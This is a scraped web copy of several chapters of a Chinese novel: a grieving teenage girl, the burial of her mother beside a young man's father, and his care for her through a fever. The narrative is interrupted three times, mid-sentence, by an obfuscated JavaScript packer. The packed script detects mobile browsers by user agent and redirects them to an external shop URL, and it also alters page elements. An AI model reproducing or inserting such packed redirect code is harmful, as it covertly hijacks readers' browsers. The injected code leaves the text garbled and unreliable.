在陆照也猝不及防的震惊目光下,夏燃抱着骨灰盒,噗通一声,直挺挺跪了下来。 4. 下葬 砰——火葬场等候区内外一瞬间鸦雀无声。 离逝的人在里头烟消云散地烧,活着的人在外头杂乱无章地聊。台风过后空气静止,焚尸炉上一缕青烟升得极高,笔直插入潮湿空旷的村野天空里。有限视野里毫无预警的陡然一跪,犹如阴天一声惊雷,震撼了四周所有人的目光。 走廊上这个苍白纤细的少女,犹如石间蒲草,倔犟跪在陆照也的身下。 晨光如洗,松柏常青。人影憧憧,脚步凝滞。 她没有流泪,也没有发出任何只言片语。没有任何缓冲的膝盖骨直接硬碰硬撞击到粗糙的水泥地上,发出沉重的一声闷响。 一切都发生得太快太突然了,陆照也根本没能反应过来。 他双手捧着陆刚的骨灰盒,刹那之间脸上表情是巨大的震惊和空芒,头随着夏燃的一跪迅速下移,满眼都是她白色裙摆因下跪的动作而如花瓣一样四散平铺。夏燃纤细瘦长的胳膊强撑着骨灰盒的惯性下坠,在快要接近地面之时竭力捧住,将盒子轻轻落在自己的裙摆之上。 在现场所有人都被这一跪冲击到目瞪口呆时,夏燃紧接着又做了另一个令人意想不到的动作。 她朝陆照也嗑了个响头。 极其标准的、肃穆的、发自内心的,没有参杂一丝一毫作秀和表演的意味。她对着陆照也的脚迅速弯下腰,额头直接重叩在乌木做的骨灰盒上。 一跪一磕,石破天惊。 连刚才骂她的男人也被吓愣了,神情呆滞,嘴巴大张着,说不出一句话来。 但凡是个能思考有理智的正常人,都知道眼前的少女是无辜的、可怜的、悲剧的、令人同情的。 连处理死亡如此繁琐的一切,她都得一个人独自面对。她才十六,还未成年。 待她起身准备磕第二个时,余光看见面前之人单膝下屈,如她一样,干净利落地跪了下来。 陆照也单手环住骨灰盒,另一只手向前一伸,把夏燃的手臂紧紧扣住,阻止了她弯腰下跪的姿势。 “你干什么?!” 他声音打颤,几乎是用吼的。 她额头撞到之处已然鲜红一片,若再撞第二下,必定出血。 夏燃本能地望向他的眼眸,但二人目光交汇一刹那,她又立刻偏过了视线。 他离她太近了,以至于身上的气息全部扑进她的鼻腔里。纯粹阳刚,热烈鲜活,跟她接触过的班级里男生完全不一样。他捏在自己臂上的手心温热发烫,烫到她耳边全是自己海涛般的心跳声。 她低着头看骨灰盒,调动了全身的力气,最后发出了大概只有陆照也才能听见的颤抖碎音。 求求你,把我的妈妈和你的爸爸,葬在一起吧。 两块墓碑,相依相伴,如同夫妻。 这是妈妈的心愿。徐阿秀其实一字未提,但夏燃知道。 巨石拍入大海,掀起惊涛骇浪。 村里人世世代代闻所未闻这种事。且不说旧社会从一而终妇女名节那一套,就说新社会,一个尚在婚姻关系中的有夫之妇,要跟一个不是她丈夫的男人合棺而埋?葬进陆家祖坟山里? 这叫墓碑上怎么写?情人陆刚,情妇徐阿秀? 情人之子陆照也?情妇之女夏燃? 说出去,简直贻笑大方。伦理丧败,体统何在? 乡下不比城里门一关谁也不认识谁。这里祖祖辈辈一个姓,人与人就是那天罗地网下的鸟,谁都能在背后啄谁一口。陆照也以后是要当警察的,在乡下人眼里,那就是吃官家饭的爷。厉害点的就是包拯,差点儿的也该是王朝马汉,怎能背一个不清不白污点名声?这让以后写村谱人物介绍时,该如何下笔? 青砖杉木祠堂里,一众人等操持着乡音吵得不可开交。 夏燃抱膝低头坐在门口被日光晒得光亮的石阶角落里。人进人出,每个路过的人都向她投去复杂的一眼。她全当看不见。 祠堂里的每一句话都像电钻一样钻进她的耳朵里。 村人乡音浓重,大部分争吵她无从分辨,但徐阿秀的口音里带着南镇之音,结合说话人的语气,夏燃依稀能听懂余下一些。 有人焦急地劝:“这小姑娘才多大,什么都不懂。你傻了啊,跟着她胡闹?你爸的事就交给我们,你一孩子别想太多,日子还长,多想想以后!” 有人不停反问:“徐阿秀老公还活着呢,你让她老公怎么想?让徐家人怎么想?徐阿秀嫁了人,生前身后都是夏家的人,再怎么着也是夏家来出面解决这件事,轮得到你管?她老公找得到找不到,跟你有什么关系?她都把你爸带走了,你管她做什么?” 还有人压低了声音小心翼翼说:“我以前跟夏许利打过交道,这人江湖流氓气重得很!不是善类,不好惹的!你要是惹了他,小心他报复!” 这期间,夏燃只转过头视线掠过祠堂一次。陆照也被一堆比他年长许多也矮上许多的乡民围在中间,露出大半个脑袋,一只手扣在案板上,一下一下敲击手指,低着头,沉着脸,像只被四面八方集体围攻的兽。 虽只是匆匆一瞥,但他高大的困兽身影却一下子灼痛了她的眼。夏燃猛地回过头,眼睛干痛,目光茫然了一阵,最后落到自己的膝盖上。 下跪的速度太狠了,导致两处膝盖都崩开了皮,边缘紫黑乌青一片。中间流血处擦了碘伏后已经凝住了,结出了几滴暗红色的玛瑙石。碘伏是一好心嬷嬷拿来的,她在擦拭伤口之时,余光感受到有一道强烈的目光直直盯着自己。她下意识抬头,不远处陆照也恰巧这时偏过头去。 夏燃想,他竟答应她了。他比她想象中的……还要好。 祠堂里的人还在闹还在吵,她一颗心坠得难受,难受得疼,刀子剜心窝一样。 是她让他成了被围攻的人,是她给他添了大麻烦。 要么,算了吧。 正当她开始动摇之际,陆照也的声音却从一重嘈杂之音里亮出来。声线略哑,咬字清晰,虽然年轻,但掷地有声。 “爷叔啊,我昨天晚上梦见我爸了。他在梦里就这么看着我,眼睛里全是泪水。他说,儿啊,爸这一辈子老老实实庸庸碌碌,也没啥本事,日复一日地就这么过了。到头了就一心愿,想跟徐阿姨埋一块,地下有个人陪着唠唠嗑讲讲话,黄泉路上不孤单,你能帮我实现不?” “没办法,他是我老子,我是他唯一的儿子。我不能大逆不道没有孝心,连父亲的遗愿都实现不了!” “至于那个人,大家也都看见了,他人到现在影子都没见,他们家也没来一个人。就这种垃圾,我管他怎么想?他要是有能耐就来掘坟。《刑法》第三百零二条,盗窃、侮辱、故意毁坏尸体、尸骨、骨灰的,处三年以下有期徒刑、拘役或者管制。你们谁见到他就跟他说,我陆照也在学校里等着他呢。” 一锤定音。 上午阳光照在土路上,白亮刺眼,知了在雨过天晴茂盛的树荫里扯着嗓子此起彼伏地叫。盛夏的乡野,一切都是生机勃勃的。死气沉沉的夏燃揉了揉眼睛,揉出一濡潮湿。 丧事最后交给镇上专业殡葬人员全程负责,村里怕惹麻烦的人太多,况且也不算直系,后续都不再出现。乡里葬礼攀比之风盛行,像他们这样低调简单的入墓仪式,恐怕也是近年来最为罕见的了。 属于陆刚一脉的山里宅基地在山北面半山腰,里头埋着陆照也的爷爷奶奶和曾爷爷曾奶奶。根据最后商讨的结果,墓碑上只刻逝者的名字和各自的子女名字,其他一概不写。且坟墓尽量靠近深山,务必低调,不能招摇。 陆照也同意了。夏燃鞠躬感谢。 少年少女跟着队伍,一前一后走进山里。 虽然同行,但二人一路无话。 下葬时间是有特殊规定的,清晨太阳和煦,是个好日子。只是气氛凝重,沉默遮云蔽日。 深山路窄崎岖,一开始还有前人走出的用碎石木条铺就的山路。走不到一半,木条板路不见了,只剩下土路、泥路。再到后来,连所谓的路都消失了,夏燃只觉得自己一个劲地在拨各种杂草枯枝,从数不清的百年高树下穿过。她来南镇只带了两件换洗衣服,一件校服,一件下跪时穿的白色连衣裙。今天依然是那件白色裙子。 台风过后不到两天,泥土里的水分在茂盛树荫的遮挡下并未全然蒸发,走着还带着松软湿滑。她怕掉队,埋着头一个劲往前走,但体力不支,总归是越走越慢。 陆照也还是老样子黑衣黑裤,心不跳脸不红,走山路如履平地,但不知为何,脚步也越来越慢,最后在一个岔路口上停下了。 他回过头,微眯着眼,视线从上到下,拂过她的全身。 夏燃右手撑着腰,左手无力地垂着,胸口因为长时间的体力消耗而大幅度地高低起伏,额边碎发都汗湿了,黏哒哒地粘在脸颊和脖颈边。面色潮红,额头上挂着个肿包,两个膝盖包着纱布。看过去整个人疲惫不堪,狼狈至极。 这个女孩……陆照也目光微动。 她身材高挑纤细,长着一张人畜无害的脸,看过去是学校里最能激起男生保护欲的那一类。但她骨子里真是犟。走了这么久,他其实一直在等她主动喊累,但她一次也没喊,连喘气声都是咬着牙极力克制住。 又听村里老人说,夏燃跟徐阿秀年轻时有六七分像,都是清纯的,有一双天生惹人心动的杏眼。要说长相上的明显区别就是,夏燃有个尖尖的下巴,皮肤天然白皙,而徐阿秀脸型略宽,皮肤也不如女儿的白。 陆照也对自己生母没有半点儿印象了,他记忆里从未见过生母一面,也没有看过她任何照片。因为从未拥有过,所以并不存在失去的伤心。即使是对陆刚,父子俩一年到头见面的次数加起来都不超过半个手掌,见面了也就是说说“学习怎么样”、“要听奶奶的话,别让她老操心”和“再混就打你”这类话。 他被父亲打过几次,不重。 陆刚是个孤寂木讷不善言辞的男人,待老家的短暂日子里,除了修修这修修那,帮老娘干点农活,也没什么个人爱好。不打牌,不打游戏,没什么朋友,也不爱凑热闹,顶多抽支烟坐院子里晒太阳,跟奶奶老家冬天的枣子树一样萧条。 可就这样沉默寡言的男人,竟然能陪一个重逢不过一年的女人去死。 不可思议的震撼大于失去父亲的悲痛,这是陆照也这几天最真实最隐蔽的心理写照。 一个男人怎会为一个女人做到这种地步?还是说他自己本来也觉得人生无趣不想活了? 陆照也转动了十八年从不阅读言情小说的大脑得出了一个结论——他不理解。 少年斜着往树上一靠,道:“我累了,休息会。” 夏燃踉跄地往前又惯性走了两步,停住,犹豫了一下道:“会不会赶不上队伍?” “你怕迷路?这山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心里又难过起来,说到底,她也只是纸上谈兵,而实际面对的比条文要复杂太多。 陆照也合上了嘴巴,心想也是,她看的应该是婚姻法,怎么着也轮不到刑法。 看看她气顺得也差不多了,又看看天色,他低声道:“我休息够了,走吧。” 这一次,他提前把路上碍眼的枯木踢一边去,又一路晃荡着手,假装不经意拍挡掉夏天嗡鸣的大小飞虫。 快走慢赶,终于到了。 是半山腰北边一块略平缓的平坡,后面有个凹进一块的小山洞,视野可以远眺到南镇小河,前有照后有靠的,算是个风水好地方。 陆照也和夏燃跟着殡葬工作人员的指示,三根细香握于手中,先拜,后磕头。金元宝纸钱吹了六麻袋,火一点,烟一燃,随风融入山的呼吸里。 褐土堆积两边,两个并排方正深穴定了型。骨灰盒依次放入的一刹那,陆照也看见夏燃的背部不住地抖动起来。 距离收到妈妈死亡消息已过了四日,夏燃一直是茫然的、麻木的、顿感的、不可置信的,像是大脑封锁了意识,灵魂飘到半空中,隔着一层毛玻璃指挥着肉身。直到看见骨灰盒放入墓穴中,徐阿秀的名字出现在墓碑上,满山的树木被风呜咽着打了个寒噤,裹在肌肉上的玻璃终于一点点裂成了碎片,露出了最真实的痛觉。 陆照也走到夏燃身后,手在她肩上踌躇片刻,轻轻落了下去,拍了一拍。 夏燃慢慢滑落地面,蜷着身子,抱住自己,头埋在双臂里,没有让旁人看见她的表情,也没有发出一点声音。 陆照也笔挺挺站着,仰头望向天空,哽着脖颈,眼圈通红。 都以为父母是平淡生活最日常的存在,却不知失去只需要一个瞬间。 那一瞬间,他们一起震骇,一起伤痛,一起长大。 陆照也想,陆刚和徐阿秀是不是故意这么安排的,从此每一年的清明,自己都得领着夏燃来山里祭祀。 又想到陆刚的遗书,上面明明白白写明了,他们这是要把夏燃,交给自己了啊。 他头脑昏胀,沉沉呼出一口气。 到了山下,日子已过半日。 夏燃红着眼,低着头,背着包,失魂落魄。 陆照也学夏燃开始低了下头,鞋子在土路上摩擦了擦,话到嘴巴停留片刻,抬起头先看了她一眼。 “你还是中巴车回去?” “嗯。”她声音哑得不成样。 “回去打算怎么过?”他说完就觉得这问题也扯太大了,缩小范围道,“你爸知道了你打算怎么办?” 还是个大问题。 夏燃不知道。她看了一眼陆照也,随即又匆匆移开视线,但就那么一刹那,陆照也察觉到她眼里的迷茫与不舍。 言辞快于脑子,他也不知道自己在想什么,硬邦邦地就说:“我送你回去!” “……啊?不用不用,不用麻烦你……” “你以为这就结束了?还要办一堆注销的事呢,我陪下你算了,谁让我比你大两岁。”他心意已决,道,“别啰嗦了,跟我走!” “走去哪?” “骑摩托啊,带你回家!” 5. 发烧 那辆跟他身型很像的,猎豹般的黑色摩托车就停在山下。 夏燃也不知道自己是怎么上了车。迷迷糊糊间,腿已经跨在了他身后。一开始她紧绷到不行,手脚不知道要往哪里搁,前胸一撞他后背,身体就急速升温,脑海里唯存一个清醒的念头是:还好他看不见。 这是她人生中第一次骑摩托,一骑就是跨越乡镇县直达城市。香樟树还是香樟树,水稻田还是水稻田,电线杆还是电线杆,但它们好像又不是它们了。 坐摩托跟坐其他交通工具的感觉完全不一样。 就仿佛,明明是相同的世界,却安装上加速度的滤镜,一切都似幻似真,如一场梦。 上午她还在墓碑前流光了泪,下午她就看尽路上风景变幻。 四天之前,陆照也是她隔着屏幕搜索的那个人。现在他就在她的面前,两个人的距离几乎归零。 时间过得既慢又快。有时眼前的一切都像是慢动作和延迟模式,有时却又是傻瓜相机的咔嚓一声。悲欢喜乐钉在胶片里,人站在胶片外看自己。 陆照也的背影看不出一丁点杂念。一个小时的行程中,他紧盯着前方的路,一往无前迎风驰骋。体恤被吹得鼓鼓囊囊的,像高空里脱了线的风筝。 夏燃在他的气味中逐渐放松下来,手不知不觉攀上了他的腰。她好累,太累了,到了后面,她完全不受控制,虚脱地趴在他坚硬的脊背上,像睡在家里硬板床上一般,脑海里安静一片。 眼前掠过的风景成了飞快播放的幻灯片,五脏六腑沉溺于风的呼啸声中,彻底忘了自己。 十六岁是她人生第二道分水岭。第一道是在投胎的时候。 终于到她家楼下。陆照也高中是在县里读的,明城那几年不限摩,他初中毕业那个暑假常跟哥们几个来市区里疯玩,对这一片区不算陌生。 “喂?” “夏燃?” 金色日光下,她朦朦胧胧间听见有人叫自己名字,似近似远,头抬起来又倒下,舍不得离开铜墙铁壁般的依靠。 “到了?”她晕乎乎的,嗓子哑得不成样。 “嗯,到你家了。”那个声音说,“你怎么样?” 就如同她不知自己是怎么上的摩托,夏燃也不知自己是怎么下的摩托。总之有气无力,落地时腿软到差点又要跪下来。摘头盔的力气也没了,好像还是陆照也给她解的。头盔摘下的一瞬间,陆照也看见她马尾乱蓬蓬,眼睛雾蒙蒙,整个人像在太阳底下洗了个开水澡,脸红的不正常。 他盯着她看了一会儿,突然低声骂了一句卧槽,伸手一触她青肿了一块的额头。 滚滚烫烫。 大热天的,陆照也瞬间惊出了一身的冷汗,觉得自己简直就是白痴! 那晚她泡了一路的雨水,之后又没怎么休息,这几天又是跪又是磕又是爬山又是大哭,整个人都被掏空了,能不生病吗?自己竟然还让她骑了一路的摩托吹了一路的风!她怎么就这么能忍,明明难受的要死,就是一声不吭!要是摔下来该怎么办! 他三两下把摩托熄了火,头盔一解跳下车,拉住她的手大声问:“你家几零几?” 夏燃后知后觉到头痛欲裂,完全是强撑着在回答:“五零二。” 陆照也二话不说,车钥匙一塞裤兜,直接把人横着抱起来,大步流星就往楼上跑。上一次她晕倒时自己已经横抱过一次,知道她轻得很。这次一抱,又轻了。她胳膊小腿滑腻腻的,都是虚汗。 夏燃在他怀里蠕动了下嘴唇,意识还未完全消失。理智是想说不用麻烦我自己可以走的,话到了嘴边却累得实在发不出音。上下眼皮一搭,世界成了一条缝,缝隙里全是陆照也的黑色体恤,和他身上的味道。 世界在她身下摇摇晃晃,却又无比牢靠。 “钥匙!”他急喊。 她挣扎着动了动头,手指点了点包。 陆照也从她小包里一掏,在三把钥匙里随机选择,三两下就开了门。进屋后啥也顾不得看,就瞅着两间卧室一间关着门一间敞着门,敞着门的那间放着一张单人床,床边横放一张书桌,不加思索地就冲了进去,把夏燃往床上一放。 接下来……他就有点无措了。自己发烧时奶奶究竟是怎么照顾的? 要命,谁叫自己身体从小就倍棒,印象中不知多少年没生过病了。奶奶常说这都是她挨家挨户讨牛奶羊奶的功劳,小时候基础打的扎实,老陆家先天基因又好。 他喘着粗气说:“喂,你能听见我说话吗?你家里有退烧药没?” 没人回他。 她一碰到床,整个人瞬间失了力气,就跟万米长跑终于熬到了终点,最后一步怎么也迈不动腿了。嘴皮嗡动着,眼皮跳动着,微皱着眉头,呼出的气滚烫,很难受的样子。 陆照也在床边呆呆站了好几秒,最后决定硬着头皮上。 退烧除了吃药以外,应该是湿毛巾敷头上吧,物理降温。 他在屋里转了一圈,这才看清屋子具体长什么样。 九十年代老破小,棚户区,两室户。门后面就是厨房,没客厅,折叠方桌往墙边一摆就是餐桌,餐桌旁贴着风景海报和地图挂画。灰墙水泥地,灯管电线都是外接的,各种白色管道直接暴露在外面。陆照也进卫生间的瞬间,楼上刚好冲了泡尿,马桶水管哗哗地叫。餐桌角落里堆满了各种纸箱,看过去像是旅店的经营用品。 他找到了个蓝色塑料盆,又从绳上拉下一块粉色毛巾,也不管这毛巾之前是擦脸还是擦屁股的了,反正看着干净就选它了。放满半盆自来水,又把毛巾往水里一捞,交叉一挤一叠,贴到夏燃的脑门上。 又见她鞋子还挂在床外,就把她白色回力鞋脱下放床边,随即把两条细溜溜的腿往床上一提一摆,却在要不要盖被子这件事情上犯了难。 发烧到底是蒙被子出一身汗,还是不盖被子散热? 十八岁的陆照也觉得自己在做高考选择题。他掏出手机,百度了一下正确答案。 答案是,两个方案都有各自的道理……取决于具体到了哪个阶段。 他两眼一摸黑,最后决定折中,拉过被子,盖住夏燃的腰腹部,俗称盖住肚脐眼。 “我在你家找找药啊,不是故意要翻你东西的。你要是能听到我讲话,就跟我说下药放哪,要是没找到,我得出去一下买药。”他对着床上晕了似的女孩说。 还是没人回复。 陆照也抹了下自己的额头,这么折腾下来,自己也出了一身的虚汗。他跑去厕所,拿自来水冲了下脸脖子和手臂,又甩了甩。冷静片刻后,决定还是不浪费时间翻人家里了,先搞点水给她喝,再出去跑一趟买退烧药。 又去厨房一转。折叠方桌上倒放了个凉水壶,一闻里面的剩水都有轻微的臭味了,看来这几天她根本没在家里好好待过。矿泉水找不到,想喝水得现烧,但烧的水是滚烫的,大夏天里凉得慢。 陆照也叹了口气,觉得这几天过得简直跟拍电影似的,太不真实了。 他走到夏燃床边,半跪下身,对着她耳朵轻声说:“我出去买药啊,你坚持一下,我很快回来。” 说罢,又叹了叹气,快走出了门,跨上了摩托。 夏燃的旅店在火车站对面,四周商业繁华。出租房离旅店步行就几分钟路,刚才过来时他看见路街边一遛的店,里面有个小药房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126772|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他很快就找到了药房,冲到柜台前喊:“发烧,给我开点药。” 柜台前一中年妇女问:“是风寒引起的,还是病毒性感染?” 陆照也想了想:“淋雨发烧,风寒吧。没鼻涕,就浑身烫。” 中年妇女给他挑选的过程中,他不加思索又说:“体温计来一根,退烧贴来一盒,嗓子药也来一板,哑了。” 回去路上,他又在隔壁买了四瓶矿泉水和一大提餐巾纸。回忆起她家里冰箱都是空的,又买了点好消化的面包和八宝粥。 陆照也是真不懂这些,他平日对吃穿都不咋讲究。初高中六年都是住校,学校食堂烧啥他吃啥。放假时若没人烧饭,自己烤点地瓜玉米,或拿零钱去镇上餐馆吃碗炒饭就搞定了。陆刚虽不怎么着家,但赚到的钱从来都是打回家。他不是那种对家里人抠门的爸爸。 两天前为了缴纳办理丧事的各种费用,陆照也拿自己的银行卡跑了一趟银行,这才知道陆刚为了不让儿子麻烦,离开之前把所有积蓄全打到儿子学校统一办的储蓄卡里了。 陆刚跑了这么多年的长途运输,赚了不少钱,花大钱处也就是在镇上盖了个二层楼带院的房子。自个儿平日里省吃俭用的,剩下的死之前一股脑全给儿子了。 想到这个,陆照也在西斜的太阳下又一次通红了眼。 到家时,夏燃还昏睡着,身子蜷在一起,腿顶着胸,被子盖住全身,婴儿似的睡姿。额头上的毛巾掉了,濡湿了一旁的枕单。 陆照也把东西往书桌上一放,摸了摸她的额头。还是烫的厉害,肯定超三十九度了。 他先把一片蓝色凝胶退烧贴贴她额头上:“能听见我说话吗?起来吃点药好吗?” 可能是被退烧贴一下子刺激到了,夏燃突然整个身子剧烈一抖,微张了眼皮,怔了怔,眼角流出一行泪。 “妈妈。”她傻愣愣地看着陆照也,“妈妈你回来了?” “我是陆照也。”他又难受又紧张,心想怎么办,她烧糊涂成这样了。 夏燃泪水越流越多,声音干涩如沙:“我在收集证据的,分居满两年就可以准予离婚了……妈妈你再坚持一下,我一定会帮你离成婚的……我会努力读书的,以后考个好大学,赚很多很多钱……买一套写我们名字的房子……妈妈你等等我……” 陆照也拿餐巾纸往她脸上擦,擦着擦着,餐巾纸全湿了,自己的脸也全湿了。 他声音哽咽得不成样,那句“你妈妈已经不在了,我爸爸也已经不在了”的话怎么也说不出口。低下头调整了半天呼吸,说:“听话,来吃点药,药吃了病就好了,就不难受了。” 说完,把药片拨开,把矿泉水倒进杯子里,扶起夏燃,让她的头靠在自己胸膛上,轻说:“喝口水。” 夏燃完全迷糊了,但还是就着他的手含住了药片,咕噜咕噜喝了水,喝到一半呛到了,剧烈地咳嗽起来,陆照也赶紧给她顺着背,又拿掉枕头上的毛巾给她擦唇角。 好半天终于缓了过来,夏燃软绵绵地躺回到床上,眼睛烫得迷离。 “陆照也?”她第一次喊他的名字,在完全烧糊涂了的状态下,“你说,为什么好人不长命?为什么这个世界跟书上写的不一样?” 她的声音很轻,但陆照也还是听见了。 夏燃无意识地弯了弯唇角,流着泪微笑:“我觉得,你以后一定会是个很好很好的警察的。” 不等他回答,她又用气声说:“你会把坏人都抓起来的,等坏人没了,好人就会有好报了。我会保佑你的。” 陆照也呆呆地看着夏燃,看着看着,手掌捂住眼睛,弯腰剧颤,半天再没说出一句话。 6. 我们 夏燃这一病如山倒。陆照也给她喂了药,又严格按照时间更换了退热凝胶,待到日落黄昏时她依旧高烧不退。他怕再拖下去会有危险,立刻拨打了120,把夏燃送进了最近的医院。 这是她短暂的人生中第二次坐上救护车。第一次她是拨打电话的那个人。 夏燃永远记得,十一岁的夏日黄昏,白的天消失在黑的夜里。野草庄稼和低矮平房在车窗外急速倒退,黄褐泥土和绵绵细雨在乡镇路灯惨白的光下昏昏迷迷。中频长鸣声高低交错贯穿耳膜,熟悉的世界在陌生城市的医院里摇摇欲坠。徐阿秀躺在一张铺了蓝色塑料模的移动床上,她的脸比同行医生身上的制服更白。 110是免费的,120救护车是根据路程收费的。挂号需要医保卡,徐阿秀的服装厂只发现金。看病是会拉出一长条明细清单的,除了挂号费以外,还有检查费、化验费、材料费、病理费、西药费、住院费……眼花缭乱,都是自费。 流血的手臂扎上了银色的针管,砸破的额头裹上了白色的纱布,撕裂的阴.道残留着小便失禁的氨臭味。只需要一个小时,二十四个六寸的奶油生日蛋糕就被烧光了。 徐阿秀流着泪。她说,我不要在医院,我没事的。后来出了院,她又说,以后再也不来了。医院,去不起的。 “我没事的,不去医院。”夏燃瘫在陆照也的手臂里气声呢喃,“去不起的。” 陆照也一步一阶楼梯。他低声道:“去的起,我们有钱。” 夏燃闭着眼睛,觉得自己在做一场梦。梦里有很多人的声音,从遥远的天边传来。 救护车里一个完全陌生的声音问:“你们的关系是?” 另一个略微熟悉的声音说:“我是她哥。” 后来这个声音变得越来越熟悉,他一个人像是自言自语地一直在说话。 他说:“你在这里好好躺一下,我去缴个费啊。” 他说:“医生说你得先抽个血化验下,哎嘛疼就喊出来。” 他说:“医生说你不是病毒感染,吊瓶盐水再吃点药烧应该就能退了。你内个,内个,别怕啊。” 这个声音有时候幼稚得像个孩子,有时候又故作坚强当个大人。 夏燃好像试图冲着这个声音笑,但她回忆不起来自己究竟有没有笑了。她好像拉着那个声音说了什么,但她也什么都想不起来了。 当她再次睁开眼睛时,已是第二日的清晨。烧基本退了,虽然头还有些昏沉,喉咙有点干涩,但脑子已经完全清醒了。她盯着头上出租房的天花板发了一会儿怔,听见耳边沉重的呼吸声,缓缓侧过头,看见了一个板板正正的黑色寸头。 那个黑色寸头就坐在她床边的书椅上。腿太长了,大剌剌地伸着,顶住了墙壁。双臂交叉在桌子上,脑袋塞在手臂里,下巴点着脖子,闭着嘴巴,对着她床的方向沉沉地呼吸,宽阔的背影一起一伏。水杯和一塑料袋的药就放在他右手边。 夏燃的目光沿着晨曦照进来的方向一点点挪动。 没几天时间,他下额线瘦得更立体了,眼睑下也有了黑眼圈,像一只英俊又可爱的大熊。额头饱满宽阔,眼睛紧紧合拢着,眼皮上没有褶皱,是夏燃身边很少见的单眼皮男生。他的睫毛又黑又浓密,鹅黄的朝霞从窗边泼洒淌入,照出眼睑下和鼻梁边一截浓墨重彩的油画阴影。 这种感觉很奇怪。 明明知道已经醒来,但却感觉仍在梦中。陆照也从电视机和手机里走了出来,走进了这间出租房,就好像这一年里他一直存在于此。 她还依稀记得,梦里那个人说:“我们有钱。” 不是我,是我们。 夏燃怔然地看了很久的陆照也,直到他身子突然大动了一下,椅子在水泥地上发出了摩擦的声音。 她在他睁眼之时又闭上了眼睛。 陆照也在椅子上断断续续趴了一晚上。 夏燃从医院回来后好一些了,烧低了两度,只是人还是不太清醒,半夜总翻来覆去,一会儿哀哀哭泣,一会儿又喃喃自语,声音沙哑得不成样。他大概一个小时要醒来两三次,不是喂药喂水,就是擦脸更换退烧贴,中间还扶着她去了洗手间一次。他把她往马桶上一放,转头就走,在门口听见嘘嘘声的时候,紧张到头皮发麻。 这些事陆照也长那么大都是第一次经历。他从小到大基本只跟男孩们混,上山下河冲冲打打骑摩托炸街,哪一个都比跟女生玩来得有劲,想不到自己竟然有一天会抱女生去上厕所。 夏燃感觉到一只温热的大手伸到了她的额头上,粗糙地一碰,随后又听见他起身去了洗手间。 等陆照也回来时,夏燃已经靠着床头坐好了,下半身盖着被子,上半身裙子理得一丝不苟,低着头,脸还残留着烧退后的微红。 毕竟认识也就四天,突然独处在一个狭小的房间里,气息变得局促,两个人都有些不适应。 夏燃垂眸轻轻道了一句:“谢谢你。” “客气啥。”陆照也瞟她一眼,不自然地松了松身子,“既然你病好得差不多了,我先回去了,餐桌上有面包牛奶,你自己起来吃点。” 夏燃睫毛微颤,欲言又止。 “还是,你有啥忙需要我帮的?”他隐约记得好像还有事没完成。 夏燃出乎意料地没跟他客气,她说的确有些事需要他的帮忙。 徐阿秀离开之前,背着夏燃默默安排好了后事。她从来都不是精于打算的女人,这一次也不知道是怎么做到的。 小旅店她三周前已经转给了一条街外同经营旅店的老板,说好一个月后正式交接,老板接了手直接就可以做生意,连保洁阿嫂都不用换。虽说是巷子深处,很多时候需要自己去火车站拉客,但价廉物美房间干净生意一直兴隆。转让费减去一年前的投资,再还掉银行借款,还有大几万盈余。 跟陆刚一样,徐阿秀把这笔钱全部打在夏燃名下支付学费的储蓄卡里,省的要向银行证明我妈是我妈这种问题。陆照也说这大概是吸取了奶奶过世时的经验。他奶奶是个从小饿肚子又经历过特殊时期的女人,习惯像仓鼠一样积极囤粮。陆刚跑运输打给她的钱,她一股脑全放银行活期,去世之后陆刚费了半天的力气才从银行把这笔钱给要回来。 这些事情徐阿秀都详细写在了手写信上,还附上了转让模版合同、转让费收到的签字纸、自己一张银行卡的账号和密码、出租房的合同和押金单、水电煤气缴纳号等等。夏燃看完这些后,打开了自己的饼干盒,里面有自己十一岁时带徐阿秀去医院的看病清单、这些年买药吃的收据单和一些徐阿秀的照片。她把所有东西都放在了一块,牢牢地压住了饼干盒盖子。 夏燃说,麻烦陆照也带她去一趟旅店,把放在里面的个人物品拿回家,跟接任老板说好的交接日期就是明天。 陆照也也想起了他原本送她回家要帮忙的一件事。人死后是要销户的,销人在这个国家里的一切证明。 奶奶去世时他经历过,比夏燃多了一次的经验。 白裙上了山下了乡,被汗水打湿又干,已经不能再穿了,衣柜里的夏日裙子又是色彩缤纷,而徐阿秀还未过头七。夏燃最后穿着高中校服坐上了陆照也的摩托车。 “你刚病好,真能行?”他走到摩托车旁。 夏燃扣上了头盔,轻轻摇头:“我没事的。” 陆照也转过头垂眸看她,突然痞子般地笑了笑。 他说:“我信你个鬼!你明明难受的要死还能在我摩托车后面坐一个小时,要是掉下去了了我下半辈子就得在牢里!你坐我前面!” 夏燃心想这怎么坐,露出慌张的神情:“不用不用。” “有我看着你怕掉下去?”他不由分说把她往摩托车坐椅前端赶,“我一男的都不害羞你害羞什么?” 夏燃:“……” 原来陆照也是英勇的,是会照顾人的,也是会贫嘴和大男子主义的。她想。 她又多了解他一点了。 陆照也把夏燃整个人裹在怀里,不紧不慢往旅店赶。她像只放在鸟巢里的鹌鹑蛋,缩成小小的一团,靠着背后的大山,迎着夏日灼热的风。 熟悉得不能再熟悉的大街小巷,突然又变得不一样了。 那一整天他们都很忙。 毕竟旅店经营了近一年,夏燃的部分书和作业本都放在那里。有一些属于合同里不包括转让的东西,陆照也自己骑摩托搬了几趟。保洁阿嫂突然看见一个全新的面孔,好奇极了:“他你同学?” 夏燃虽然年少,但她已觉察到这世上有很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 